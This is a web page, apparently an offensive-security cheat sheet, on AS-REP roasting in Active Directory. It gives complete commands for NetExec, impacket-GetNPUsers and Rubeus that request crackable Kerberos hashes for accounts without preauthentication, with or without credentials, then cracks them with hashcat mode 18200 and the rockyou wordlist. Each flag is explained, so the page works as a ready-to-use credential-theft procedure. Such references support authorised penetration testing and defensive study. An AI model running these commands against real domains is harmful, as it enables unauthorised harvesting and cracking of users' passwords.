Skip to content
HackIndex logo

HackIndex

AS-REP roastable account enumeration

5 min read May 15, 2026

AS-REP roasting targets accounts with “Do not require Kerberos preauthentication” set. For those users, a KDC will return an AS-REP that contains crackable material derived from the user’s long-term key. Output is typically $krb5asrep$23$... for Hashcat mode 18200.

What to capture

For each hit:

  • Username (user@@domain in the hash line)

  • Hash line ($krb5asrep$23$...)

  • Source KDC ($TARGET_IP) and realm ($DOMAIN)

  • How the target list was built (users.txt vs LDAP discovery)

nxc AS-REP roasting (LDAP workflow)

NetExec can extract AS-REP hashes using a supplied username list. Password can be empty ('') for no-auth testing.

Listing + extraction from a user list (no password):

┌──(kali㉿kali)-[~]
└─$ nxc ldap $TARGET_IP -u users.txt -p '' --asreproast asrep.hashes
Explain command
$TARGET_IP Target host IP address to perform LDAP enumeration against.
-u users.txt Specifies a file containing a list of usernames to test.
-p '' Uses an empty password for unauthenticated or null-session attempts.
--asreproast asrep.hashes Performs AS-REP roasting and saves captured hashes to the specified file.

Single user probe (no password):

┌──(kali㉿kali)-[~]
└─$ nxc ldap $TARGET_IP -u "$USER" -p '' --asreproast asrep.hashes
Explain command
$TARGET_IP Target host IP address to connect to via LDAP.
-u "$USER" Specifies the username for LDAP authentication.
-p '' Sets an empty password for unauthenticated or null-session binding.
--asreproast asrep.hashes Performs AS-REP roasting and saves harvested hashes to the specified file.

With credentials (same output, often more reliable in locked-down environments):

┌──(kali㉿kali)-[~]
└─$ nxc ldap $TARGET_IP -u "$USER" -p "$PASSWORD" --asreproast asrep.hashes
Explain command
$TARGET_IP Target IP address of the LDAP server to connect to.
-u "$USER" Username to authenticate with against the LDAP service.
-p "$PASSWORD" Password to authenticate with against the LDAP service.
--asreproast asrep.hashes Perform AS-REP roasting and save captured hashes to asrep.hashes.

If domain name resolution breaks Kerberos flows, pin the KDC host explicitly:

┌──(kali㉿kali)-[~]
└─$ nxc ldap $TARGET_IP -u "$USER" -p "$PASSWORD" --asreproast asrep.hashes --kdcHost $TARGET_IP
Explain command
$TARGET_IP Target host IP used as both LDAP server and KDC address.
-u "$USER" Username to authenticate with against the LDAP service.
-p "$PASSWORD" Password for the specified user account.
--asreproast asrep.hashes Perform AS-REP roasting and save captured hashes to asrep.hashes.
--kdcHost $TARGET_IP Specifies the Key Distribution Center (KDC) hostname or IP.

What output looks like (hashcat format):

$krb5asrep$23$user@@$DOMAIN:3bb2b7e5e29c08c4...$1a2b3c4d5e6f...

Interpretation:

  • Any $krb5asrep$23$... line is a confirmed roastable user.

  • No hits usually means either no-preauth isn’t set anywhere, the username list is wrong, or requests are being rate-limited/filtered.

impacket-GetNPUsers (targeted or discovery)

Impacket supports both “identify roastable users” and “request the crackable blob”. -request is the switch that actually pulls the hash material.

From a username list (most common):

┌──(kali㉿kali)-[~]
└─$ impacket-GetNPUsers "$DOMAIN/" -no-pass -usersfile users.txt -dc-ip $TARGET_IP -request -format hashcat -outputfile asrep.hashes
Explain command
$DOMAIN/ Target domain to query for AS-REP roastable accounts.
-no-pass Do not prompt or use a password; attempt unauthenticated enumeration.
-usersfile users.txt File containing list of usernames to test for AS-REP roasting.
-dc-ip $TARGET_IP IP address of the domain controller to send AS-REQ to.
-request Request the AS-REP ticket hash for vulnerable accounts.
-format hashcat Output captured hashes in hashcat-compatible format.
-outputfile asrep.hashes Write retrieved AS-REP hashes to the specified output file.

Single user check:

┌──(kali㉿kali)-[~]
└─$ impacket-GetNPUsers "$DOMAIN/$USER" -no-pass -dc-ip $TARGET_IP -request -format hashcat -outputfile asrep.hashes
Explain command
$DOMAIN/$USER Target domain and username to query for AS-REP roastable accounts.
-no-pass Do not prompt for a password; authenticate without credentials.
-dc-ip $TARGET_IP Specify the IP address of the domain controller to query.
-request Request the AS-REP ticket for accounts with pre-auth disabled.
-format hashcat Output captured hashes in hashcat-compatible format.
-outputfile asrep.hashes Write retrieved hashes to the specified output file.

Authenticated LDAP discovery + extraction (no usersfile required):

┌──(kali㉿kali)-[~]
└─$ impacket-GetNPUsers "$DOMAIN/$USER:$PASSWORD" -dc-ip $TARGET_IP -request -format hashcat -outputfile asrep.hashes
Explain command
$DOMAIN/$USER:$PASSWORD Target domain with authenticating username and password credential pair.
-dc-ip $TARGET_IP Specifies the IP address of the domain controller to query.
-request Request TGTs for accounts with Kerberos pre-auth disabled (AS-REP roasting).
-format hashcat Output captured AS-REP hashes in hashcat-compatible format.
-outputfile asrep.hashes Write retrieved hashes to the specified output file.

Interpretation:

  • With -usersfile, results depend entirely on username validity. Feed it confirmed users from Kerberos valid-user enumeration.

  • Without -usersfile, authenticated mode can discover candidates via LDAP and then request AS-REPs.

Windows-side extraction with Rubeus

On a domain-joined Windows host (or anywhere Rubeus can reach the DC), extract directly.

Domain-wide run (default domain context):

C:\Users\Guest\Desktop> Rubeus.exe asreproast /format:hashcat /outfile:asrep.hashes
Explain command
asreproast Performs AS-REP roasting attack against accounts without pre-auth.
/format:hashcat Outputs captured hashes in hashcat-compatible format.
/outfile:asrep.hashes Writes the resulting hashes to the specified output file.

Targeted list:

C:\Users\Guest\Desktop> Rubeus.exe asreproast /users:C:\Temp\users.txt /format:hashcat /outfile:asrep.hashes
Explain command
asreproast Performs AS-REP roasting attack against accounts without pre-auth.
/users:C:\Temp\users.txt Specifies a file containing list of usernames to target.
/format:hashcat Outputs captured hashes in hashcat-compatible format.
/outfile:asrep.hashes Writes the resulting AS-REP hashes to the specified output file.

Target a single user:

C:\Users\Guest\Desktop> Rubeus.exe asreproast /user:$USER /format:hashcat /outfile:asrep.hashes
Explain command
asreproast Performs AS-REP roasting attack against accounts with pre-auth disabled.
/user:$USER Targets a specific user account for AS-REP roasting.
/format:hashcat Outputs captured hashes in hashcat-compatible format.
/outfile:asrep.hashes Writes the resulting hashes to the specified output file.

Interpretation:

  • Hits are output as hashcat/john formats and can be moved offline immediately.

Next move with results (offline)

Hashcat mode for Kerberos AS-REP etype 23 is 18200.

┌──(kali㉿kali)-[~]
└─$ hashcat -m 18200 asrep.hashes /usr/share/wordlists/rockyou.txt
Explain command
-m 18200 Sets hash type to Kerberos 5 AS-REP etype 23 (AS-REP Roasting).
asrep.hashes Input file containing the AS-REP hashes to crack.
/usr/share/wordlists/rockyou.txt Wordlist file used as the dictionary attack source.

To confirm the finding and assess severity by group membership and password age before cracking, see Kerberos Pre-Authentication Not Required. For cracking and post-crack lateral movement, see AS-REP Roasting and AD AS-REP Roasting.

References